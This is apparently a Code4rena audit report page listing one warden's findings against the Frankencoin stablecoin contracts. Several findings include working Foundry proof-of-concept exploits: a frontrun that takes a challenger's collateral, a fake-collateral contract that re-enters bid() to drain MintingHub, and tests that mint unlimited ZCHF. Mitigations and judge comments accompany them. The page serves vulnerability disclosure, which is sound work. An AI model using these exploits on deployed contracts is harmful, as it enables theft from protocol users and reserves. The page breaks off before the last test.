Platform: Code4rena
Start Date: 12/04/2023
Pot Size: $60,500 USDC
Total HM: 21
Participants: 199
Period: 7 days
Judge: hansfriese
Total Solo HM: 5
Id: 231
League: ETH
Rank: 12/199
Findings: 5
Award: $872.95
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: carrotsmuggler
Also found by: Ace-30, KIntern_NA, Nyx, bin2chen, cccz, juancito, mahdikarimi, mov, nobody2018
201.1223 USDC - $201.12
https://github.com/Frankencoin-ZCHF/FrankenCoin/blob/main/contracts/MintingHub.sol#L140-L148 https://github.com/Frankencoin-ZCHF/FrankenCoin/blob/main/contracts/Position.sol#L284-L286
Position owners can wait until their position is unsound and someone launches a challenge against it. Once there is a launch attempt, they can frontrun the transaction, withdraw their collateral, and lower the price to 0.
There is no safeguard against changing these parameters on the launch challenge function, so it will succeed. Once the block was mined with both transactions, the position owner can bid the challenge for zero tokens, avert it, and steal the collateral.
Position owners can steal challengers collateral. Cost of the attack is minimum.
There is no protection against a position owner changing prices in launchChallenge
:
function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) returns (uint256) { IPosition position = IPosition(_positionAddr); IERC20(position.collateral()).transferFrom(msg.sender, address(this), _collateralAmount); uint256 pos = challenges.length; challenges.push(Challenge(msg.sender, position, _collateralAmount, block.timestamp + position.challengePeriod(), address(0x0), 0)); position.notifyChallengeStarted(_collateralAmount); emit ChallengeStarted(msg.sender, address(position), _collateralAmount, pos); return pos; }
Setting the price to zero after withdrawing all the collateral succeds because in checkCollateral
the invariant results in 0 < 0
, which does not revert.
function checkCollateral(uint256 collateralReserve, uint256 atPrice) internal view { if (collateralReserve * atPrice < minted * ONE_DEC18) revert InsufficientCollateral(); }
Add this test to test/GeneralTest.t.sol
:
function testSandwichChallenge() public { // Alice is the attacker // Alice opens a sound position // Cost of opening a position is 1000 * 1e18 ZCHF (1000 swiss francs) // 1001 collateral tokens are provided as well Position position = Position(initPosition()); assertEq(position.owner(), address(alice)); assertEq(col.balanceOf(address(alice)), 0); assertEq(col.balanceOf(address(alice)), 0); // Wait until the cooldown is off skip(7 * 86_400 + 60); // Alice mints 77577.5 * 1e18 ZCHF tokens from the collateral in the position uint256 maxMintable = col.balanceOf(address(position)) * position.price() / 1e18; uint256 minted = maxMintable; uint256 aliceBalancePre = zchf.balanceOf(address(alice)); alice.mint(address(position), minted); // 775775 * 1e17 => 77577.5 * 1e18 ZCHF tokens uint256 aliceBalancePost = zchf.balanceOf(address(alice)); assertEq((aliceBalancePost - aliceBalancePre), 775775 * 1e17); // Simulate waiting until the price of the collateral changes making the position unsound skip(7 * 86_400 + 60); // Bob notices the position is unsound and tries to launch a challenge against it // Alice is reading the public mempool and notices Bob's intent to challenge the position // Alice frontruns Bob's transaction // ATTACK begins // Previous minting involved some fees // Send Alice some ZCHF tokens to be able to repay the position // Alice repays the position and withdraws all the collateral // Alice sets the price to 0 to perform the attack alice.obtainFrankencoins(swap, 3_000 ether); vm.startPrank(address(alice)); position.repay(80_080 ether); position.withdrawCollateral(address(alice), 1001); position.adjustPrice(0); vm.stopPrank(); // Bob's transaction was frontrunned // Bob's transaction executes right after Alice withdraws their funds and changes the price // Bob opens a challenge against the position with the same amount of collateral as the position originally had col.mint(address(bob), 1001); col.approve(address(hub), 1001); vm.startPrank(address(bob)); uint256 challengeNumber = bob.challenge(hub, address(position), 1001); vm.stopPrank(); // Wait a block confirmation that the attack was succesful skip(1); // The new bidAmount for the challenge is 0 uint256 bidAmount = position.price() * 1001 / 1e18; assertEq(bidAmount, 0); // Alice immediately steals Bob's collateral for free by averting the challenge vm.startPrank(address(alice)); hub.bid(challengeNumber, 0, 1001); vm.stopPrank(); // Verify that Alice has her collateral + the stolen one assertEq(col.balanceOf(address(alice)), 1001 * 2); // The total cost of the attack was the one from opening the position which could be avoided by cloning one // Plus some extra ZCHF tokens to cover the fees in order to repay the position and get the collateral back }
Manual review
Implement a frontrunning protection on launchChallenge
, like the one implemented on bid
with expectedSize
.
In this case, an _expectedPrice
value can be added to protect against price changes:
- function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) returns (uint256) { + function launchChallenge(address _positionAddr, uint256 _collateralAmount, uint256 _expectedPrice) external validPos(_positionAddr) returns (uint256) { IPosition position = IPosition(_positionAddr); + if (_expectedPrice != position.price()) revert UnexpectedPrice(); IERC20(position.collateral()).transferFrom(msg.sender, address(this), _collateralAmount); uint256 pos = challenges.length; challenges.push(Challenge(msg.sender, position, _collateralAmount, block.timestamp + position.challengePeriod(), address(0x0), 0)); position.notifyChallengeStarted(_collateralAmount); emit ChallengeStarted(msg.sender, address(position), _collateralAmount, pos); return pos; }
#0 - c4-pre-sort
2023-04-26T09:33:11Z
0xA5DF marked the issue as duplicate of #945
#1 - c4-judge
2023-05-18T14:48:54Z
hansfriese marked the issue as satisfactory
🌟 Selected for report: Lirios
Also found by: 0xDACA, 117l11, BenRai, ChrisTina, Emmanuel, Kumpa, SpicyMeatball, T1MOH, __141345__, bin2chen, bughunter007, cccz, jangle, juancito, nobody2018, said, shalaamum, tallo, vakzz
35.0635 USDC - $35.06
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L140-L148
Challenge functions in the MintingHub
do not perform any type of validation regarding when the positions start, or if they are in some cooldown state.
So, anyone can create a fresh position with arbitrary values, and just right after that perform an exploit using the challenge functions.
Infinite minting of the ZCHF token.
This allows for example claiming ZCHF for XCHF tokens via the StablecoinBridge. Any XCHF tokens on the bridge are at risk.
Other exploits with critical impact could also be performed tweaking this exploit by changing other position values.
The vulnerability lies on the fact that a challenge can be created for a fresh created position. There is no restriction for cooldown, start time, or any other check.
There is no restriction for the collateral passed to the MintingHub::openPosition
either. So it is possible to create a fake one and use it. This would be caught by minters or voters on normal situations, but this attack can be performed in one transaction.
function openPosition( address _collateralAddress, uint256 _minCollateral, uint256 _initialCollateral, uint256 _mintingMaximum, uint256 _initPeriodSeconds, uint256 _expirationSeconds, uint256 _challengeSeconds, uint32 _mintingFeePPM, uint256 _liqPrice, uint32 _reservePPM) public returns (address) { IPosition pos = IPosition( POSITION_FACTORY.createNewPosition( msg.sender, address(zchf), _collateralAddress, _minCollateral, _mintingMaximum, _initPeriodSeconds, _expirationSeconds, _challengeSeconds, _mintingFeePPM, _liqPrice, _reservePPM ) ); zchf.registerPosition(address(pos)); zchf.transferFrom(msg.sender, address(zchf.reserve()), OPENING_FEE); require(_initialCollateral >= _minCollateral, "must start with min col"); IERC20(_collateralAddress).transferFrom(msg.sender, address(pos), _initialCollateral); return address(pos); }
No check for positions in cooldown or start time in MintingHub::launchChallenge()
. So it is possible to launch a challenge even on the same block as the position was created:
function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) returns (uint256) { IPosition position = IPosition(_positionAddr); IERC20(position.collateral()).transferFrom(msg.sender, address(this), _collateralAmount); uint256 pos = challenges.length; challenges.push(Challenge(msg.sender, position, _collateralAmount, block.timestamp + position.challengePeriod(), address(0x0), 0)); position.notifyChallengeStarted(_collateralAmount); emit ChallengeStarted(msg.sender, address(position), _collateralAmount, pos); return pos; }
The MintingHub::end()
function doesn't have any check either. So it is even possible to end the challenge on the same block, if the challenge was set to have 0
as its challenge expiration value. This is possible because any value can be set on this position, as no one would be able to deny it (as the exploit is performed on the same transaction).
function end(uint256 _challengeNumber, bool postponeCollateralReturn) public { Challenge storage challenge = challenges[_challengeNumber]; require(challenge.challenger != address(0x0)); require(block.timestamp >= challenge.end, "period has not ended"); // challenge must have been successful, because otherwise it would have immediately ended on placing the winning bid returnCollateral(challenge, postponeCollateralReturn); // notify the position that will send the collateral to the bidder. If there is no bid, send the collateral to msg.sender address recipient = challenge.bidder == address(0x0) ? msg.sender : challenge.bidder; (address owner, uint256 effectiveBid, uint256 volume, uint256 repayment, uint32 reservePPM) = challenge.position.notifyChallengeSucceeded(recipient, challenge.bid, challenge.size); if (effectiveBid < challenge.bid) { // overbid, return excess amount IERC20(zchf).transfer(challenge.bidder, challenge.bid - effectiveBid); } uint256 reward = (volume * CHALLENGER_REWARD) / 1000_000; uint256 fundsNeeded = reward + repayment; if (effectiveBid > fundsNeeded){ zchf.transfer(owner, effectiveBid - fundsNeeded); } else if (effectiveBid < fundsNeeded){ zchf.notifyLoss(fundsNeeded - effectiveBid); // ensure we have enough to pay everything } zchf.transfer(challenge.challenger, reward); // pay out the challenger reward zchf.burn(repayment, reservePPM); // Repay the challenged part emit ChallengeSucceeded(address(challenge.position), challenge.bid, _challengeNumber); delete challenges[_challengeNumber]; }
Given that the collateral token passed is created by the attacker, it can spoof the responses to functions like collateral.balanceOf()
, collateral.transfer()
, or collateral.transferFrom()
in order to manipulate the values needed.
This way it can manipulate the values returned by Position::notifyChallengeSucceeded()
:
(address owner, uint256 effectiveBid, uint256 volume, uint256 repayment, uint32 reservePPM) = challenge.position.notifyChallengeSucceeded(recipient, challenge.bid, challenge.size);
Making it viable to call Frankencoin::notifyLoss()
:
zchf.notifyLoss(fundsNeeded - effectiveBid); // ensure we have enough to pay everything
Frankencoin::notifyLoss()
takes ZCHF tokens from the reserve, or mints them if there are not enough:
function notifyLoss(uint256 _amount) override external minterOnly { uint256 reserveLeft = balanceOf(address(reserve)); if (reserveLeft >= _amount){ _transfer(address(reserve), msg.sender, _amount); } else { _transfer(address(reserve), msg.sender, reserveLeft); _mint(msg.sender, _amount - reserveLeft); } }
Once the tokens are transfered to the MintingHub, they are finally transfered to the attacker:
zchf.transfer(challenge.challenger, reward); // pay out the challenger reward
This tests proves how to mint ZCHF tokens by creating a position with a fake collateral token.
Steps:
• Create a position with the fake collateral token
• Create a challenge via MintingHub::launchChallenge
• Call MintingHub::end
. Internally it will mint tokens via zchf.notifyLoss
• This will mint new tokens to the attacker
Add this contract to the end of the test/GeneralTest.t.sol
file:
contract FakeTokenEnd { MintingHub immutable public hub; constructor(address _hub) { hub = MintingHub(_hub); } function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { return true; } function transfer(address recipient, uint256 amount) public returns (bool) { return true; } function balanceOf(address account) public view returns (uint256) { return 1e36 ether; } }
Add this test inside the GeneralTest
in test/GeneralTest.t.sol
:
function testEndPOC() public { // Create a "minter" to distribute zchf tokens and set up the environment User minter = new User(zchf); // Obtain zchf tokens minter.obtainFrankencoins(swap, 1_000 ether); // Set up an attacker and send 1_000 zchf to open a position and perform the attack address attacker = vm.addr(666); uint256 attackerZCHF = 1_000 ether; minter.transfer(zchf, attacker, attackerZCHF); assertEq(zchf.balanceOf(attacker), 1_000 ether); // Perform the attack vm.startPrank(attacker); // Create a fake collateral contract and send it zchf to perform the attack FakeTokenEnd fakeToken = new FakeTokenEnd(address(hub)); address pos = hub.openPosition(address(fakeToken), 0, 0, 2 ** 255, 3 days, 0, 0, 0, 1 ether, 0); uint256 challengeNumber = hub.launchChallenge(pos, 1_000_000_000 ether); hub.end(challengeNumber, true); vm.stopPrank(); // Verify that the attacker minted 20_000_000 zchf tokens assertEq(zchf.balanceOf(attacker), 20_000_000 ether); }
Run the test: forge test -m "testEndPOC"
It is also possible to exploit the lack of validation of the challenges via the MintingHub::bid
function.
In this case the assets at risk are all ZCHF in the MintingHub
contract. Every time a bid is created, those tokens are sent to the contract. So an attacker can steal them.
This attack is more sophisticated and involves a re-entrancy in the bid
function if a fake collateral token is used:
// bid() function challenge.position.collateral().transfer(msg.sender, challenge.size); // @audit re-entrant for a fake collateral token
Steps:
• Create a position with the fake collateral token
• Create a challenge via MintingHub::launchChallenge
• Call MintingHub::bid
with a small bid. This is the amount that will be stolen each time the function is re-entered
• Call MintingHub::bid
with a bid big enough to avert the challenge
• First thing the bid function does is pay back the previous bid
• The function will re-enter on the line pointed out earlier
• It will pay back the previous bid again (because the challenge was not deleted)
• Repeat enough times as long as the gas allows it
• All re-entered function will exit by calling delete challenges[_challengeNumber];
which succeeds
• The attacker is able to steal the tokens from the MintingHub
Add this contract to the end of the test/GeneralTest.t.sol
file:
contract FakeToken { MintingHub immutable public hub; Position public pos; uint256 public challengeNumber; uint256 public challengeSize; uint256 public positionSize; uint256 public counter; constructor(address _hub) { hub = MintingHub(_hub); } function attack(uint256 _positionSize) external { positionSize = _positionSize; challengeSize = positionSize * 99 / 100; // Has to be slightly less than positionSize uint256 liqPrice = positionSize * 1e18 / challengeSize; // Open a position with this contract as a fake collateral token pos = Position( hub.openPosition(address(this), 0, 0, 2 ** 255, 3 days, 0, 1, 0, liqPrice, 0) ); // Launch a challenge that will be used to perform the exploit // There is no limitation to call `launchChallenge` despite the position being in cooldown period challengeNumber = hub.launchChallenge(address(pos), challengeSize); // The first bid sets a `challenge.bid = challengeSize` // `challengeSize` is the amount that will be stolen with each re-entrant call hub.bid(challengeNumber, challengeSize, challengeSize); // The second bid will call `transfer` and re-enter this contract hub.bid(challengeNumber, positionSize, challengeSize); // Withdraw stolen funds pos.zchf().transfer(msg.sender, pos.zchf().balanceOf(address(this))); } function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { return true; } function transfer(address recipient, uint256 amount) public returns (bool) { bool allStolen = pos.zchf().balanceOf(address(hub)) < challengeSize; if (allStolen || counter++ > 50) { return true; } // Launch fake challenges to increase `pos.challengedAmount` // This will prevent an underflow in `tryAvertChallenge()` hub.launchChallenge(address(pos), challengeSize); // Re-entrancy // Each time it runs, it steals zchf tokens from the Minting Hub hub.bid(challengeNumber, positionSize, challengeSize); return true; } }
Add this test inside the GeneralTest
in test/GeneralTest.t.sol
:
function testPOC() public { // Create a "minter" to distribute zchf tokens and set up the environment User minter = new User(zchf); // Obtain zchf tokens minter.obtainFrankencoins(swap, 1_000_000 ether); // Send zchf tokens to the Minting Hub // zchf tokens are stored in the Minting Hub when users bid on challenges // These tokens will be stolen minter.transfer(zchf, address(hub), 100_000 ether); assertEq(zchf.balanceOf(address(hub)), 100_000 ether); // Set up an attacker and send some zchf to perform the attack // 1000 zchf are needed to open a position // 4000 zchf will be used to perform the attack address attacker = vm.addr(666); uint256 attackerZCHF = 5_000 ether; minter.transfer(zchf, attacker, attackerZCHF); assertEq(zchf.balanceOf(attacker), 5_000 ether); // Perform the attack vm.startPrank(attacker); // Create a fake collateral contract and send it zchf to perform the attack FakeToken fakeToken = new FakeToken(address(hub)); zchf.transfer(address(fakeToken), attackerZCHF); // Perform the attack. 1000 zchf are used for opening a position uint256 positionSize = attackerZCHF - 1000 ether; fakeToken.attack(positionSize); vm.stopPrank(); // Verify the attacker stole the zchf tokens assertGt(zchf.balanceOf(attacker), 100_000 ether); // Verify the tokens were stolen from the Minting Hub assertLe(zchf.balanceOf(address(hub)), 1_000 ether); }
Run the test: forge test -m "testPOC"
A spin-off of the Attack vector 1, can be to even let voters deny the position. That only sets cooldown = expiration
, and as proved previously, there is no check that the position is not a some cooldown state.
function deny(address[] calldata helpers, string calldata message) public { if (block.timestamp >= start) revert TooLate(); IReserve(zchf.reserve()).checkQualified(msg.sender, helpers); cooldown = expiration; // since expiration is immutable, we put it under cooldown until the end emit PositionDenied(msg.sender, message); }
It is worth mentioning that the vulnerability here relies on the fact that challenges can be executed for positions that have not been "validated" by minters or voters, meaning they didn't have any opportunity to deny them.
The best place to implement a guard would be in the MintingHub::launchChallenge
. If no challenge is created, nor bid
, nor end
would be able to be executed.
One possible solution could be to add a modifier to the MintingHub::launchChallenge
function to check that the position has started. This will mean that it has passed its initial period where minters or stakers can deny it.
It should also check that the position was not denied. A denied
value should be added to Position
.
Using the cooldown
, or expired
may be conflictive and can lead to errors. Those values are quite overloaded, and would make it difficult to create a solution that solves this exploit while preserving normal functionality of the challenge functions for legit positions.
// MintingHub.sol + modifier posStarted(address position) { + require(block.timestamp >= Position(position).start(), "pos not started"); + require(Position(position).denied() == false, "pos is denied"); + _; + } - function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) returns (uint256) { + function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) posStarted(_positionAddr) returns (uint256) {
There are some tradeoffs of making this change:
As challenge functions won't be able to be executed for denied positions, some other mechanism should be implemented to seize the collateral from them.
As challenge functions won't be able to be executed during the initial period, this leaves the responsibility for denying undercollateralized positions before the start
to minters and voters. If not, those positions would be able to mint undercollateralized tokens as soon as they reach the start
of the position.
In case that's an issue, another suggestion would be to separate the initial cooldown in two phases. One for the minters and voters to be able to deny suspicious positions, and a cooldown for protocol users to be able to challenge undercollateralized positions.
#0 - c4-pre-sort
2023-04-20T12:33:40Z
0xA5DF marked the issue as duplicate of #973
#1 - c4-pre-sort
2023-04-24T18:44:29Z
0xA5DF marked the issue as duplicate of #458
#2 - c4-judge
2023-05-18T14:43:58Z
hansfriese marked the issue as satisfactory
🌟 Selected for report: Lirios
Also found by: 0xDACA, 117l11, BenRai, ChrisTina, Emmanuel, Kumpa, SpicyMeatball, T1MOH, __141345__, bin2chen, bughunter007, cccz, jangle, juancito, nobody2018, said, shalaamum, tallo, vakzz
35.0635 USDC - $35.06
https://github.com/Frankencoin-ZCHF/FrankenCoin/blob/main/contracts/Position.sol#L161-L169 https://github.com/Frankencoin-ZCHF/FrankenCoin/blob/main/contracts/MintingHub.sol#L140-L148 https://github.com/Frankencoin-ZCHF/FrankenCoin/blob/main/contracts/Position.sol#L306-L319 https://github.com/Frankencoin-ZCHF/FrankenCoin/blob/main/contracts/Position.sol#L331-L355
Position owners can perform an attack where they challenge their own positions.
Position.adjustPrice
allows to set the price of the position to incredibly high values. The position owner can later create a challenge that cannot be averted just by providing the same collateral amount of the position.
The bidding value for averting the position will be extremely high, making it impossible to avert the position.
Once the end
function is called it will take all the funds it needs to pay for the challenge. The payment will be inflated because it relies on the inflated price
of the position.
Challenges can be created that cannot be averted. The protocol will have to pay them with the reserves. And if no reserves are sufficient it would lead to unrestricted minting of ZCHF tokens.
adjustPrice
only restricts minting when setting a bigger price:
function adjustPrice(uint256 newPrice) public onlyOwner noChallenge { if (newPrice > price) { restrictMinting(3 days); } else { checkCollateral(collateralBalance(), newPrice); } price = newPrice; emitUpdate(); }
The position owner can launch a new challenge against their position. In only cost the same amount of collateral as provided in the position:
function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) returns (uint256) { IPosition position = IPosition(_positionAddr); IERC20(position.collateral()).transferFrom(msg.sender, address(this), _collateralAmount); uint256 pos = challenges.length; challenges.push(Challenge(msg.sender, position, _collateralAmount, block.timestamp + position.challengePeriod(), address(0x0), 0)); position.notifyChallengeStarted(_collateralAmount); emit ChallengeStarted(msg.sender, address(position), _collateralAmount, pos); return pos; }
In order for someone to avert the challenge, the tryAvertChallenge
function has to succeed when calling bid
, but it's not possible. The _bidAmountZCHF
would have to be extremely high:
function tryAvertChallenge(uint256 _collateralAmount, uint256 _bidAmountZCHF) external onlyHub returns (bool) { if (block.timestamp >= expiration){ return false; // position expired, let every challenge succeed } else if (_bidAmountZCHF * ONE_DEC18 >= price * _collateralAmount){ // @audit // challenge averted, bid is high enough challengedAmount -= _collateralAmount; // Don't allow minter to close the position immediately so challenge can be repeated before // the owner has a chance to mint more on an undercollateralized position restrictMinting(1 days); return true; } else { return false; } }
Finally, the end
function is called and the protocol will have to pay for the challenge. Any other lower bids don't affect the exploit, as the amount to be payed will be huge. It's calculated in notifyChallengeSucceeded
. volumeZCHF
is responsible for it:
function notifyChallengeSucceeded(address _bidder, uint256 _bid, uint256 _size) external onlyHub returns (address, uint256, uint256, uint256, uint32) { challengedAmount -= _size; uint256 colBal = collateralBalance(); if (_size > colBal){ // Challenge is larger than the position. This can for example happen if there are multiple concurrent // challenges that exceed the collateral balance in size. In this case, we need to redimension the bid and // tell the caller that a part of the bid needs to be returned to the bidder. _bid = _divD18(_mulD18(_bid, colBal), _size); _size = colBal; } // Note that thanks to the collateral invariant, we know that // colBal * price >= minted * ONE_DEC18 // and that therefore // price >= minted / colbal * E18 // such that // volumeZCHF = price * size / E18 >= minted * size / colbal // So the owner cannot maliciously decrease the price to make volume fall below the proportionate repayment. uint256 volumeZCHF = _mulD18(price, _size); // How much could have minted with the challenged amount of the collateral // @audit // The owner does not have to repay (and burn) more than the owner actually minted. uint256 repayment = minted < volumeZCHF ? minted : volumeZCHF; // how much must be burned to make things even notifyRepaidInternal(repayment); // we assume the caller takes care of the actual repayment internalWithdrawCollateral(_bidder, _size); // transfer collateral to the bidder and emit update return (owner, _bid, volumeZCHF, repayment, reserveContribution); }
Also worth mentioning that splitting the challenge would not help, as the new challenges respect the same proportion between size and bid. So, bidders would still have to pay much more to bid higher than the attacker
Add this test to test/GeneralTest.t.sol
and run forge test -m "testAdjustPriceExploit"
function testAdjustPriceExploit() public { // Alice is the attacker // Alice opens a sound position // Cost of opening a position is 1000 * 1e18 ZCHF (1000 swiss francs) // 1001 collateral tokens are provided as well Position position = Position(initPosition()); // Mint and send some tokens to Alice to later create a challenge col.mint(address(alice), 1001); // Calculate the mintable ZCHF tokens provided the collateral for this position // In reality it's a little less because of protocol / reserve fees but it doesn't affect the outcome // The formula for `mintableTokens` is taken from the code // In places like checkCollateral: `collateralReserve * atPrice < minted * ONE_DEC18` // Or places like initializeClone: `price = _mint * ONE_DEC18 / _coll;` uint256 mintableTokens = position.price() * 1001 / 1e18; assertEq(mintableTokens, 100_100 ether); // Wait until the cooldown is off skip(7 * 86_400 + 60); // Perform the attack // Alice elevates the price of the position astronomically // On the same transaction she creates a challenge for the position providing 1001 collateral tokens vm.startPrank(address(alice)); position.adjustPrice(position.price() * 1 ether); uint256 challengeNumber = alice.challenge(hub, address(position), 1001); vm.stopPrank(); // The new bidAmount to avert the challenge is huge // The attack is unstoppable at this point uint256 bidAmount = position.price() * 1001 / 1e18; assertEq(bidAmount, 1001 * 1e38); // We can even try bidding the challenge with a big bidAmount to check that it cannot be averted // It's 5 times bigger than the original `mintableTokens` calculation bob.obtainFrankencoins(swap, 500_000 ether); vm.startPrank(address(bob)); hub.bid(challengeNumber, 500_000 ether, 1001); vm.stopPrank(); // Wait until the challenge ends skip(1 days); // End the challenge and the attack vm.startPrank(address(alice)); hub.end(challengeNumber, false); vm.stopPrank(); // Alice got back half of the total collateral tokens she used for the attack assertEq(col.balanceOf(address(alice)), 1001); // But she minted a huge amount of ZCHF tokens assertEq(zchf.balanceOf(address(alice)), 2002 * 1e36); }
Manual review
The key points about this issue are being able to launch a challenge right after increasing the price, being unable to avert the challenge, and the unrestricted funds that the protocol takes care for.
Some suggestions to mitigate this exploit could be setting limits to price adjustment, implement timelocks to prevent instant challenges after price adjustments, add some other option or condition to avert challenges, put some limits to the funds covered by the protocol.
#0 - c4-pre-sort
2023-04-22T18:58:25Z
0xA5DF marked the issue as duplicate of #973
#1 - c4-pre-sort
2023-04-24T18:44:32Z
0xA5DF marked the issue as duplicate of #458
#2 - c4-judge
2023-05-18T14:40:45Z
hansfriese marked the issue as satisfactory
#3 - 0xJuancito
2023-05-20T15:10:41Z
I will point out some observations for this issue to be considered a duplicate of #481, and not of #458.
#481 is just a border case of the deeper underlying reason described on this issue.
The underlying reason is the ability of a position owner to call adjustPrice
and set a really high price without restriction.
In the case of #481 it only addresses the border case of the price being type(uint256).max
and the impact as the title says "Position owners can deny liquidations".
This finding demonstrates that:
The test shows an example of a "high value" when calling adjustPrice
:
position.adjustPrice(position.price() * 1 ether);
And how it cannot be averted even with an unreasonable high value to bid against it:
hub.bid(challengeNumber, 500_000 ether, 1001);
type(uint256).max
is just a border case for this
As described on the Impact
section:
Challenges can be created that cannot be averted. The protocol will have to pay them with the reserves. And if no reserves are sufficient it would lead to unrestricted minting of ZCHF tokens.
The root cause of #458 is that positions can be challenged before start time as described on its mitigation:
...when challenges can be started so Positions cannot be challenged before start time and when they are denied.
The root cause of this issue is the ability of a position owner to call adjustPrice
and set a really high price without restriction, as described on the `Vulnerability Details section:
Position.adjustPrice allows to set the price of the position to incredibly high values
#4 - hansfriese
2023-05-20T17:29:48Z
This issue is not a duplicate of #481. #481 assumes the higher price such as type(uint256).max. In this setup, even hub.end
will revert, so the owner can deny liquidations. They can keep minted ZCHF, and the collateral remains stuck. But in this issue, price is lower than #481. So hub.end
will work and this will profit challenger.
🌟 Selected for report: Lirios
Also found by: 0xDACA, 117l11, BenRai, ChrisTina, Emmanuel, Kumpa, SpicyMeatball, T1MOH, __141345__, bin2chen, bughunter007, cccz, jangle, juancito, nobody2018, said, shalaamum, tallo, vakzz
35.0635 USDC - $35.06
https://github.com/Frankencoin-ZCHF/FrankenCoin/blob/main/contracts/MintingHub.sol#L88-L113
Suspicious positions may be denied by voters if they don't seem legit, but over time it is very possible that one of them lands in the protocol, which can involve serious risks.
Some attributes may not seem harmful with certain values at first sight, and can lead to permanent damage to the protocol if a position becomes active.
Malicious positions can lead to damage at protocol level, including stealing assets from the reserve, or unrestricted minting of tokens for example.
I will provide two attack vectors to illustrate this. Buy many other can be performed with different Position
attributes.
Take for example challengePeriod = 0
.
There is no restriction for creating positions with challengePeriod = 0
.
Positions with challengePeriod = 0
can launch a challenge and end it immediately on the same transaction.
Position owners can launch challenges against their own positions, and as there will be no bid
period, the protocol will have to pay for the unaverted challenge. It can be done even on the same transaction as launching the challenge.
This leads to stealing reserves from the protocol, or unrestricting minting of ZCHF tokens when reserves are gone.
Add this test to test/GeneralTest.t.sol
prove how tokens can be minted without restriction. Values can be tweaked to mint bigger amounts:
function testZeroChallengePeriod() public { // Obtain some tokens to be able to open a position alice.obtainFrankencoins(swap, 1000 ether); col.mint(address(alice), 100); // Open the position with a challenge period of 0 vm.startPrank(address(alice)); uint256 challengePeriod = 0; col.approve(address(hub), 100); address posAddr = hub.openPosition(address(col), 0, 100, 2 ** 255, 3 days, 1, challengePeriod, 0, 10 ether, 0); vm.stopPrank(); // Alice balance is 0 assertEq(zchf.balanceOf(address(alice)), 0); assertEq(col.balanceOf(address(alice)), 0); // Wait until the cooldown is off skip(3 days + 1); // Perform the attack // Alice launches a challenge with 100 collateral tokens col.mint(address(alice), 100); vm.startPrank(address(alice)); col.approve(address(hub), 100); Position(posAddr).adjustPrice(Position(posAddr).price() * 100); uint256 challengeNumber = hub.launchChallenge(posAddr, 100); hub.end(challengeNumber); vm.stopPrank(); // Alice gets her collateral back assertEq(col.balanceOf(address(alice)), 200); // Alice prints ZCHF token out of thin air assertEq(zchf.balanceOf(address(alice)), 2000); }
Positions have many values, and few of them are properly validated:
function openPosition( address _collateralAddress, uint256 _minCollateral, uint256 _initialCollateral, uint256 _mintingMaximum, uint256 _initPeriodSeconds, uint256 _expirationSeconds, uint256 _challengeSeconds, uint32 _mintingFeePPM, uint256 _liqPrice, uint32 _reservePPM) public returns (address) { IPosition pos = IPosition( POSITION_FACTORY.createNewPosition( msg.sender, address(zchf), _collateralAddress, _minCollateral, _initialCollateral, _mintingMaximum, _initPeriodSeconds, _expirationSeconds, _challengeSeconds, _mintingFeePPM, _liqPrice, _reservePPM ) ); zchf.registerPosition(address(pos)); zchf.transferFrom(msg.sender, address(zchf.reserve()), OPENING_FEE); IERC20(_collateralAddress).transferFrom(msg.sender, address(pos), _initialCollateral); return address(pos); }
Another attack vector could be that positions with low minimumCollateral
can suffer from frontrunning attacks on challenges
The protocol allows creating positions with a low or zero value for minimumCollateral
. It should not present any risk to the protocol in theory. Miners or voters would not have any valid reason to deny them if the rest of the attributes seem legit.
A minimumCollateral
of zero would only be considered to damage the position owner, as their positions would be easily challenged by anyone. So it's a risk that only them would assume.
It is very possible that such a position would succeed in passing the initial phase.
MintingHub::splitChallenge()
can be called indefinitely if minimumCollateral = 0
, creating a new challenge that will hold the whole size, but with a different challengeNumber
. The attack is also viable if minimumCollateral
has a small size that allows repeated attacks.
That allows anyone to frontrun any of the challenge functions of the MintingHub by calling splitChallenge
, generating a new challengeNumber
, and making the victim transaction fail because they use the original challenge number. This can lead to different attacks with high impact.
bid
can be frontrunned by splitChallenge
to prevent anyone from bidding on a specific challenge indefinitely, until the end time is reached. This can lead to loss of funds by the protocol, as it will have to pay for the unaverted challenge.
splitChallenge
can be frontrunned by another splitChallenge
to run an attack documented on the function: "an attack, where a challenger launches a challenge so big that most bidders do not have the liquidity available to bid a sufficient amount". This can lead to less bids due to lack of liquidity, with the previous consequence mentioned in bid
.
end
can be frontrunned by splitChallenge
to postpone the end of the challenge indefinitely.
This can lead to lose of assets from position owners, bidders, or challengers, by creating unfair challenges where other users are not able to participate.
MintingHub::splitChallenge()
allows "transfering" the whole size
and bid
to a new challenge if minimumCollateral = 0
:
challenge.bid -= copy.bid; challenge.size -= copy.size; uint256 min = IPosition(challenge.position).minimumCollateral(); require(challenge.size >= min); require(copy.size >= min);
This allows the attacker to frontrun legit users trying to call the challenge functions. Subsequent transactions will attempt to call the functions with an "old" challenge number that will hold no size nor bid.
The challenge is splitted, with the former having size = 0
and the newest with the whole original size.
Add this test to test/GeneralTest.t.sol
:
